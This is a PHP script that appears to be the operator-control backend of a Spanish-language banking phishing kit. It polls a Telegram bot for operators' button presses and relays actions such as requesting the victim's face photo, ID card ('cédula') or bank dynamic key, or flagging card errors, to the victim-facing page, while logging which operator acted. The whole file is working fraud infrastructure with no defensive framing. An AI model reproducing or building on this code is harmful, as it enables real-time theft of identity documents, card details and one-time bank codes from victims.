<?php
session_start();
header('Content-Type: application/json');

$config = require __DIR__ . '/../config.php';
$transactionId = $_POST['transactionId'] ?? '';
$messageId     = $_POST['messageId'] ?? '';

if (empty($transactionId) || empty($messageId)) {
    echo json_encode(['action' => null]);
    exit;
}

$offset = isset($_SESSION['last_update_id']) ? (int)$_SESSION['last_update_id'] : 0;
$ch = curl_init("https://api.telegram.org/bot{$config['bot_token']}/getUpdates?offset=" . ($offset + 1));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

$data   = json_decode($response, true);
$action = null;

if (isset($data['result']) && is_array($data['result'])) {
    foreach ($data['result'] as $update) {
        if (!isset($update['callback_query'])) continue;

        $callback = $update['callback_query'];
        if (!isset($callback['data']) || strpos($callback['data'], $transactionId) === false) continue;

        list($actionType, ) = explode(':', $callback['data'], 2);

        // --- Lista de acciones actualizada ---
        $accionesPermitidas = ['error', 'cedula', 'error_logo', 'error_tarjeta', 'pedir_dinamica', 'confirm_finalizar'];
        if (!in_array($actionType, $accionesPermitidas, true)) continue;

        $action = $actionType;
        $_SESSION['last_update_id'] = (int)$update['update_id'];

        $originalText = isset($callback['message']['text']) ? $callback['message']['text'] : '';

        // Determinar nombre del operador
        $operatorName = 'Operador';
        if (isset($callback['from'])) {
            $firstName = $callback['from']['first_name'] ?? '';
            $username  = $callback['from']['username'] ?? '';
            $operatorName = !empty($firstName) ? $firstName : (!empty($username) ? "@$username" : 'Operador');
        }

        // Diccionario legible
        $textos = [
            'error'             => '📸 Pidió CARA',
            'cedula'            => '🪪 Pidió CÉDULA',
            'error_logo'        => '❌ Error de Logo',
            'error_tarjeta'     => '💳 Error de Tarjeta',
            'pedir_dinamica'    => '🔑 Error de Dinámica',
            'confirm_finalizar' => '🏁 Finalizar'
        ];

        $accionTexto = $textos[$actionType] ?? $actionType;

        $newText = $originalText . "\n\n<b>Acción:</b> " . $accionTexto . "\n<b>Operador:</b> " . htmlspecialchars($operatorName);

        // Editar mensaje y borrar teclado
        $payload = [
            'chat_id'    => $callback['message']['chat']['id'],
            'message_id' => $callback['message']['message_id'],
            'text'       => $newText,
            'parse_mode' => 'HTML',
            'reply_markup' => json_encode(['inline_keyboard' => []])
        ];

        $chEdit = curl_init("https://api.telegram.org/bot{$config['bot_token']}/editMessageText");
        curl_setopt($chEdit, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($chEdit, CURLOPT_POST, true);
        curl_setopt($chEdit, CURLOPT_POSTFIELDS, json_encode($payload));
        curl_setopt($chEdit, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
        curl_exec($chEdit);
        curl_close($chEdit);

        break;
    }
}

echo json_encode(['action' => $action]);